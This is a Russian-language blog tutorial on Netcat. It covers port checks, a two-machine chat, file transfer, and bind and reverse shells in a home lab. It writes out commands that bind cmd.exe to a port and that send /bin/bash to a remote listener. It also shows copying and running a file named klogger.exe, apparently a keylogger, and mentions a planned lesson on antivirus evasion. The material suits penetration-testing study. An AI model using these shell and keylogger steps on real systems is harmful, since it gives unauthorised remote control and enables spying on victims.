Что Такое Неткат? Bind Shell И Reverse Shell В Действии

Друзья, приветствую всех вас! В этой статье мы поговорим о том, что такое Netcat, и используем его для реализации Bind и Reverse Shell соответственно.



Неткэт

Netcat, впервые выпущенный в 1995 году (!), является одним из «оригинальных» инструментов тестирования на проникновение в сеть.

Netcat настолько универсален, что полностью оправдывает авторское прозвище хакера «Швейцарский армейский нож».

Наиболее четкое определение Netcat дают сами разработчики: «простая утилита, считывающая и записывающая данные через сетевые соединения по протоколам TCP или UDP».



Подключение к порту TCP/UDP

Как следует из описания, Netcat может работать как в клиентском, так и в серверном режиме.

Во-первых, давайте посмотрим на клиентский режим.

Мы можем использовать клиентский режим для подключения к любому порту TCP/UDP, что позволяет нам: Проверить, открыт ли порт или закрыт, или подключиться к сетевой службе.

Начнем с использования Netcat (nc), чтобы проверить, открыт ли порт 80 на тестируемой машине ( В качестве тестовой машины мы будем использовать основную машину, на которой установлена ВМ!!! ).

Мы добавим несколько аргументов: параметр -n для отключения поиска DNS и номеров портов в /etc/services; -v для отображения информации о рабочем процессе; IP-адрес получателя; и номер порта назначения: P.S. Чтобы узнать IP-адрес основного компьютера, запустите команду ipconfig в командной строке, если у вас основной компьютер с Windows, и ifconfig, если у вас Linux или MacOS.

Что такое Неткат? Bind Shell и Reverse Shell в действии

Возвращаясь к Кали:

kali@kali:~$ nc -nv 192.168.0.178 80



Что такое Неткат? Bind Shell и Reverse Shell в действии

TCP-соединение с 192.168.0.178 прошло успешно, поэтому Netcat сообщает, что удаленный порт открыт.

Прослушивание портов TCP/UDP

Прослушивание порта TCP/UDP с помощью Netcat полезно для сетевой отладки клиентских приложений или получения сетевого подключения TCP/UDP. Давайте попробуем реализовать простой сервис чата для двух компьютеров, используя Netcat и в качестве клиента, и в качестве сервера.

На компьютере Windows с IP-адресом 192.168.0.178 Netcat был настроен на прослушивание входящих подключений через TCP-порт 4444. Мы будем использовать опцию -n для отключения DNS, -l для создания прослушивателя, опции -v и -p для указания номер порта прослушивания:

C:\Program Files\nc111nt> nc -nlvp 4444



Что такое Неткат? Bind Shell и Reverse Shell в действии

P.S. Вы можете скачать Netcat для Windows здесь.

Теперь давайте подключимся к этому порту с нашей машины с Linux:

kali@kali:~$ nc -nv 192.168.0.178 4444

И мы что-нибудь напишем.

Например «Привет».

Наш текст будет отправлен на компьютер с Windows через TCP-порт 4444:

Что такое Неткат? Bind Shell и Reverse Shell в действии

Мы можем продолжить чат с компьютера под управлением Windows:

Что такое Неткат? Bind Shell и Reverse Shell в действии

Хотя этот пример не очень интересен, он демонстрирует несколько важных особенностей Netcat. Прежде чем продолжить, попытайтесь ответить на такие важные вопросы, как: Какая машина служила сервером Netcat? Какая машина выступала в качестве клиента Netcat? На какой машине был открыт порт 4444? В чем разница в синтаксисе командной строки между клиентом и сервером?

Передача файлов с помощью Netcat

Netcat также можно использовать для передачи файлов, как текстовых, так и двоичных, с одного компьютера на другой.

Чтобы отправить файл с нашей виртуальной машины Kali в систему Windows, мы инициируем настройку, аналогичную предыдущему примеру чата, с некоторыми небольшими отличиями.

На компьютере с Windows мы установим прослушиватель Netcat на порт 4444 и перенаправим вывод в файл с именем incoming.exe:

C:\Program Files\nc111nt> nc -nlvp 4444 > incoming.exe

В системе Kali мы перенесем файл klogger.exe на компьютер с Windows через TCP-порт 4444:

kali@kali:~$ nc -nv 192.168.0.178 4444 < /usr/share/windows-resources/binaries/klogger.exe

Обратите внимание, что мы не получили никаких отзывов от Netcat о ходе загрузки файла.

Мы можем просто подождать несколько секунд, а затем проверить, полностью ли загружен файл.

Файл полностью скачан на машину с Windows, попробуем его запустить:

C:\Program Files\nc111nt> incoming.exe -h



Что такое Неткат? Bind Shell и Reverse Shell в действии

Как видите, перенос и запуск файла klogger.exe завершился успешно! P.S. В одном из уроков я расскажу, как запретить антивирусу «обнаруживать» файлы и исполняемые модули.

А пока идем дальше.



Удаленное администрирование с помощью Netcat

Одной из наиболее полезных функций Netcat является возможность перенаправления команд. Традиционная версия netcat (версия Netcat, скомпилированная с флагом «-DGAPING_SECURITY_HOLE») включает опцию -e, которая запускает программу после установления или получения успешного соединения.

Эта мощная функция предлагает интересные возможности с точки зрения безопасности и поэтому недоступна в большинстве современных систем Linux/BSD. Однако, поскольку Kali Linux является дистрибутивом для тестирования на проникновение, версия Netcat, включенная в Kali, поддерживает опцию -e. Если этот параметр включен, этот параметр может перенаправлять ввод и вывод исполняемого файла, а также сообщения об ошибках на порт TCP/UDP, а не на консоль по умолчанию.

Например, рассмотрим исполняемый файл cmd.exe. Мы можем привязать cmd.exe к локальному порту и перенаправить STDIN, STDOUT и STDERR в сеть.

Давайте рассмотрим несколько сценариев:

Скрипт Netcat Bind Shell

В нашем первом сценарии Миша (под управлением Windows) обратился за помощью к Кате (под управлением Linux) и попросил ее подключиться к его компьютеру и удаленно выполнить некоторые команды.

У Миши публичный IP-адрес, и он напрямую подключен к Интернету.

Катя же стоит за NAT и имеет внутренний IP-адрес.

Мише нужно привязать cmd.exe к TCP-порту своего публичного IP-адреса и попросить Катю подключиться к его конкретному IP-адресу и порту.

Миша запустит Netcat с параметром -e для выполнения cmd.exe:

C:\Program Files\nc111nt> nc -nlvp 4444 -e cmd.exe

Netcat теперь связал TCP-порт 4444 с cmd.exe и будет пересылать любые входные и выходные сообщения или сообщения об ошибках из cmd.exe в сеть.

Другими словами, любой, кто подключится к TCP-порту 4444 на машине Миши (надеюсь, Катя), увидит командную строку Миши.

Это действительно «зияющая дыра в безопасности»!

kali@kali:~$ nc -nv 192.168.0.178 4444



Что такое Неткат? Bind Shell и Reverse Shell в действии

Как мы видим, все работает так, как ожидалось.

На следующем изображении показан этот сценарий:

Что такое Неткат? Bind Shell и Reverse Shell в действии



Обратный сценарий оболочки

Во втором сценарии Кате нужна помощь Миши.

В этом сценарии мы можем использовать еще одну полезную функцию Netcat — возможность отправлять команды хосту, прослушивающему определенный порт. В этой ситуации Катя не может (согласно скрипту) привязать порт 4444 для /bin/bash локально (bindshell) на своем компьютере и ждать подключения Миши, но может передать управление своим bash на компьютер Миши.

Это называется обратной оболочкой.

Чтобы все заработало, Миша сначала настроит Netcat на прослушивание.

В нашем примере мы будем использовать порт 4444:

C:\Program Files\nc111nt> nc -nlvp 4444

Теперь Катя может отправить Мише обратный шелл со своей Linux-машины.

Еще раз мы используем опцию -e, чтобы сделать приложение доступным удаленно, в данном случае это /bin/bash, оболочка Linux:

kali@kali:~$ nc -nv 192.168.0.178 4444 -e /bin/bash

Как только соединение будет установлено, Netcat Кати перенаправит входные и выходные данные /bin/bash и данные об ошибках на компьютер Миши, на порт 4444, и Миша сможет взаимодействовать с этой оболочкой:

Что такое Неткат? Bind Shell и Reverse Shell в действии

На следующем изображении показан сценарий обратной оболочки, в котором Миша получает удаленный доступ к оболочке на машине Кати, минуя корпоративный брандмауэр:

Что такое Неткат? Bind Shell и Reverse Shell в действии

Всем спасибо за внимание! :) Подпишитесь на меня в социальных сетях.

сети , буду рада всех видеть! Теги: #информационная безопасность #кибербезопасность #Системное администрирование #хакеры #удалённое управление #удалённое администрирование #пентест #netcat #обратный #этический взлом #bindshell

Вместе с данным постом часто просматривают:

Автор Статьи


Зарегистрирован: 2019-12-10 15:07:06
Баллов опыта: 0
Всего постов на сайте: 0
Всего комментарий на сайте: 0
Dima Manisha

Dima Manisha

Эксперт Wmlog. Профессиональный веб-мастер, SEO-специалист, дизайнер, маркетолог и интернет-предприниматель.